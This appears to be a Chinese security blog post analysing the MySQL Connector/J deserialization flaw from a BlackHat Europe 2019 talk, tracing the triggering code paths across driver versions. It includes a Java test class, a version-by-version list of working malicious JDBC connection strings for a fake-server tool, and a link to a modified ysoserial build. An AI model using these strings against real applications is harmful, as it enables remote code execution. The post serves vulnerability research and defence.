首發安全客:https://www.anquanke.com/post/id/203086
這幾天學習了BlackHat Europe 2019的議題《New Exploit Technique In Java Deserialization Attack》, 膜拜師傅們的同時,做一個簡單的漏洞分析。
該漏洞需要能夠控制客戶端的JDBC連接串,在連接階段即可觸發,無需繼續執行SQL語句。
測試代碼
需要自行根據版本選擇JDBC連接串,最後有基於各版本Connector連接串的總結。
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
MySQL服務器使用:https://github.com/fnmsd/MySQL_Fake_Server
一個可以方便的輔助MySQL客戶端文件讀取和提供MySQL JDBC反序列化漏洞所需序列化數據的假服務器,看本文前請先簡單看下工具說明。
這裏提供一份我加了JRE8u20的YSOSerial用以測試(集成了n1nty師傅的代碼,膜一下):
鏈接:https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取碼:qdfc
ServerStatusDiffInterceptor觸發方式
原議題中使用這種方法,環境應該是8.x的connector
此處分析環境使用mysql-java-connector 8.0.14+jdk 1.8.20
參考 MySQL Connector/J 8.0 連接串參數屬性手冊
**queryInterceptors:**一個逗號分割的Class列表(實現了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query"之間"進行執行來影響結果。(效果上來看是在Query執行前後各插入一次操作)
**autoDeserialize:**自動檢測與反序列化存在BLOB字段中的對象。
所以如上所述,如果要觸發queryInterceptors則需要觸發SQL Query,而在getConnection過程中,會觸發SET NAMES utf
、set autocommit=1
一類的請求,所以會觸發我們所配置的queryInterceptors。
ServerStatusDiffInterceptor
的preProcess
方法(執行SQL Query前需要執行的方法),調用了populateMapWithSessionStatusValues
:
執行了SHOW SESSION STAUS
語句並獲取結果,繼續跟入resultSetToMap
方法:
ResultSetImpl
的getObject方法,當MySQL字段類型爲BLOB時,會對數據進行反序列化,所以此處只要保證第1或第2字段爲BLOB且存存儲了我們的序列化數據,即可觸發。
額外說一句: 確定字段爲BLOB類型除了協議報文中列字段類型爲BLOB以外,還需要FLAGS大於128、來源表不爲空,否則會被當做Text,開發工具的時候這塊卡了好久。
測試過程中發現5.x、6.x無法正常使用,參考mysql java connector的5.1、6.0、8.0的連接串說明,經過分析各版本代碼後總結:
-
從6.0開始主要使用的包名從·
com.mysql
變爲了com.mysql.cj
,所以ServerStatusDiffInterceptor
所在位置也有所改變。 -
5.1.11-6.0.6使用的interceptors屬性爲statementInterceptors,8.0以上使用的爲queryInterceptors。(這塊不是很確定,因爲6.0的手冊上說從5.1.11就開始變爲queryInterceptors,但是實際測試後仍爲statementInterceptors)
-
5.1.11以下,無法直接通過連接觸發:
在執行getConnection時,會執行到com.mysql.jdbc.ConnectionImpl中如下代碼塊:
可以發現上面標示的兩行代碼交換了位置(emm,不是完全一樣,領會精神)。
前面分析所述的連接時的SQL查詢是在createNewIO方法中會觸發,但是由於5.1.10及以前,Interceptors的初始化在createNewIO之後,導致查詢觸發前還不存在Interceptors,故無法在getConnection時觸發。
PS: 如果繼續使用獲取的連接進行SQL執行,還是可以觸發反序列化的。
detectCustomCollations觸發方式
這個點最早貌似是chybeta師傅找出來的,膜一下。
一點要看的題外話: 看前面提到的5.x的手冊,detectCustomCollations
這個選項是從5.1.29開始的,經過代碼比對,可以認爲detectCustomCollations
這個選項在5.1.29之前一直爲true。
測試環境中使用mysql-connector-java 5.1.29+java 1.8.20:
觸發點在com.mysql.jdbc.ConnectionImpl
的buildCollationMapping
方法中:
(調用棧就不放了,打個斷點就到了)
可以看到兩個條件:
- 服務器版本大於等於4.1.0,並且
detectCustomCollations
選項爲true
PS: 5.1.28的這條判斷條件只有服務器版本大於4.1.0
- 獲取了
SHOW COLLATION
的結果後,服務器版本大於等於5.0.0纔會進入到上一節說過的resultSetToMap
方法觸發反序列化
此處getObject與前文一致不再贅述,此處只需要字段2或3爲BLOB裝載我們的序列化數據即可。
由於從5.1.41版本開始,不再使用getObject的方式獲取SHOW COLLATION
的結果,此方法失效。
5.1.18以下未使用getObject方式進行獲取,同樣無法使用此方法:
總結下可用的連接串
用戶名是基於MySQL Fake Server工具的,具體使用中請自行修改。
ServerStatusDiffInterceptor觸發:
8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x(屬性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11及以上的5.x版本(包名沒有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.10及以下的5.1.X版本: 同上,但是需要連接後執行查詢。
5.0.x: 還沒有ServerStatusDiffInterceptor
這個東西┓( ´∀` )┏
detectCustomCollations觸發:
5.1.41及以上: 不可用
5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.18以下的5.1.x版本: 不可用
5.0.x版本不可用
總結
以上總結通過MySQL JDBC Connector觸發漏洞的兩種方法分析以及相關版本情況,希望能對大家有所幫助。
由於仍舊是Java反序列化漏洞的範圍,依然需要運行環境中有可用的Gadget。
再次膜發現漏洞的幾位師傅~
參考文獻
漏洞相關:
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://www.cnblogs.com/Welk1n/p/12056097.html
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
MySQL java Connector手冊:
https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html
https://docs.oracle.com/cd/E17952_01/connector-j-6.0-en/connector-j-6.0-en.pdf
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html
最後是招聘啓事哈
360雲安全團隊目前大量招聘中,歡迎各位大佬投遞簡歷,大家一起來愉快地玩耍~
https://www.anquanke.com/post/id/200462